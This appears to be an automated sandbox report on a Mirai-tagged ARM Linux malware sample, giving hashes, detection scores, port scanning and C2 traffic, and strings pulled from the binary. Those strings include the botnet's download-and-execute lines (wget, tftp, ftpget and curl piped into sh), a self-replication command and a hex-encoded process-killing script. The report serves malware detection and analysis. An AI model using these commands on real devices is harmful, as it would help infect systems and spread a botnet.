Linux Analysis Report
MUm3efxWut.elf

Overview

General Information

Sample name: MUm3efxWut.elf
renamed because original name is a hash value
Original sample name: c10d209871d0561cd870e933eeded9ee.elf
Analysis ID: 1432510
MD5: c10d209871d0561cd870e933eeded9ee
SHA1: 41ff778af90f1376d7cddfe3799741318bf8702e
SHA256: 47134fd761454838d25e25abf134b30be67c1e53f0ab537c6a7d995f810d74cf
Tags: 32armelfmirai
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: MUm3efxWut.elf ReversingLabs: Detection: 57%
Source: MUm3efxWut.elf Virustotal: Detection: 48% Perma Link
Source: MUm3efxWut.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 5.181.80.61 ports 38241,1,2,3,4,8
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 36376
Source: global traffic TCP traffic: 192.168.2.14:53144 -> 5.181.80.61:38241
Source: /tmp/MUm3efxWut.elf (PID: 5505) Socket: 127.0.0.1::39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 4.138.142.136
Source: unknown TCP traffic detected without corresponding DNS query: 46.15.98.99
Source: unknown TCP traffic detected without corresponding DNS query: 191.204.252.13
Source: unknown TCP traffic detected without corresponding DNS query: 126.64.63.208
Source: unknown TCP traffic detected without corresponding DNS query: 151.175.144.110
Source: unknown TCP traffic detected without corresponding DNS query: 70.194.90.187
Source: unknown TCP traffic detected without corresponding DNS query: 69.120.234.88
Source: unknown TCP traffic detected without corresponding DNS query: 186.238.90.97
Source: unknown TCP traffic detected without corresponding DNS query: 71.60.62.107
Source: unknown TCP traffic detected without corresponding DNS query: 156.213.203.125
Source: unknown TCP traffic detected without corresponding DNS query: 162.99.202.195
Source: unknown TCP traffic detected without corresponding DNS query: 12.79.131.209
Source: unknown TCP traffic detected without corresponding DNS query: 134.45.168.6
Source: unknown TCP traffic detected without corresponding DNS query: 115.221.97.95
Source: unknown TCP traffic detected without corresponding DNS query: 159.201.107.83
Source: unknown TCP traffic detected without corresponding DNS query: 156.188.232.155
Source: unknown TCP traffic detected without corresponding DNS query: 71.128.172.16
Source: unknown TCP traffic detected without corresponding DNS query: 158.213.118.33
Source: unknown TCP traffic detected without corresponding DNS query: 81.32.211.236
Source: unknown TCP traffic detected without corresponding DNS query: 13.173.176.150
Source: unknown TCP traffic detected without corresponding DNS query: 39.136.116.46
Source: unknown TCP traffic detected without corresponding DNS query: 177.184.226.239
Source: unknown TCP traffic detected without corresponding DNS query: 221.105.158.8
Source: unknown TCP traffic detected without corresponding DNS query: 103.51.84.245
Source: unknown TCP traffic detected without corresponding DNS query: 171.220.62.113
Source: unknown TCP traffic detected without corresponding DNS query: 194.107.19.103
Source: unknown TCP traffic detected without corresponding DNS query: 101.113.250.185
Source: unknown TCP traffic detected without corresponding DNS query: 89.249.25.192
Source: unknown TCP traffic detected without corresponding DNS query: 46.94.77.224
Source: unknown TCP traffic detected without corresponding DNS query: 207.152.193.225
Source: unknown TCP traffic detected without corresponding DNS query: 144.103.112.182
Source: unknown TCP traffic detected without corresponding DNS query: 141.253.137.191
Source: unknown TCP traffic detected without corresponding DNS query: 70.72.87.29
Source: unknown TCP traffic detected without corresponding DNS query: 213.172.122.33
Source: unknown TCP traffic detected without corresponding DNS query: 70.114.121.192
Source: unknown TCP traffic detected without corresponding DNS query: 33.27.127.91
Source: unknown TCP traffic detected without corresponding DNS query: 191.7.117.241
Source: unknown TCP traffic detected without corresponding DNS query: 8.7.104.104
Source: unknown TCP traffic detected without corresponding DNS query: 97.67.52.23
Source: unknown TCP traffic detected without corresponding DNS query: 87.38.15.50
Source: unknown TCP traffic detected without corresponding DNS query: 216.11.165.27
Source: unknown TCP traffic detected without corresponding DNS query: 76.235.62.214
Source: unknown TCP traffic detected without corresponding DNS query: 42.70.181.26
Source: unknown TCP traffic detected without corresponding DNS query: 66.184.142.217
Source: unknown TCP traffic detected without corresponding DNS query: 206.54.167.236
Source: unknown TCP traffic detected without corresponding DNS query: 54.251.132.191
Source: unknown TCP traffic detected without corresponding DNS query: 15.39.13.36
Source: unknown TCP traffic detected without corresponding DNS query: 155.246.220.72
Source: unknown TCP traffic detected without corresponding DNS query: 68.229.93.252
Source: unknown TCP traffic detected without corresponding DNS query: 156.8.90.130
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: MUm3efxWut.elf String found in binary or memory: http:///curl.sh
Source: MUm3efxWut.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4tj
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/77@1/0
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5550/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5550/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5550/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5550/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5540/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5540/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5540/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5540/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5541/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5541/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5541/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5541/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5542/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5542/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5542/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5542/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5532/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5532/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5543/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5543/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5543/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5543/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5533/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5533/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5544/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5544/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5544/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5544/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5534/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5534/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5545/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5545/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5545/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5545/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5535/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5535/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5546/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5546/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5546/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5546/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5536/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5536/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5547/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5547/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5547/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5547/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5537/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5537/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5548/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5548/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5548/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5548/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5538/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5538/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5549/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5549/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5549/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5549/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5539/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5539/cmdline Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5539/maps Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511) File opened: /proc/5539/cmdline Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 36376
Source: /tmp/MUm3efxWut.elf (PID: 5505) Queries kernel information via 'uname': Jump to behavior
Source: MUm3efxWut.elf, 5505.1.00007ffdf3881000.00007ffdf38a2000.rw-.sdmp, MUm3efxWut.elf, 5509.1.00007ffdf3881000.00007ffdf38a2000.rw-.sdmp Binary or memory string: wx86_64/usr/bin/qemu-arm/tmp/MUm3efxWut.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/MUm3efxWut.elf
Source: MUm3efxWut.elf, 5505.1.000056309af6f000.000056309b09d000.rw-.sdmp, MUm3efxWut.elf, 5509.1.000056309af6f000.000056309b09d000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: MUm3efxWut.elf, 5505.1.000056309af6f000.000056309b09d000.rw-.sdmp, MUm3efxWut.elf, 5509.1.000056309af6f000.000056309b09d000.rw-.sdmp Binary or memory string: 0V!/etc/qemu-binfmt/arm
Source: MUm3efxWut.elf, 5505.1.00007ffdf3881000.00007ffdf38a2000.rw-.sdmp, MUm3efxWut.elf, 5509.1.00007ffdf3881000.00007ffdf38a2000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs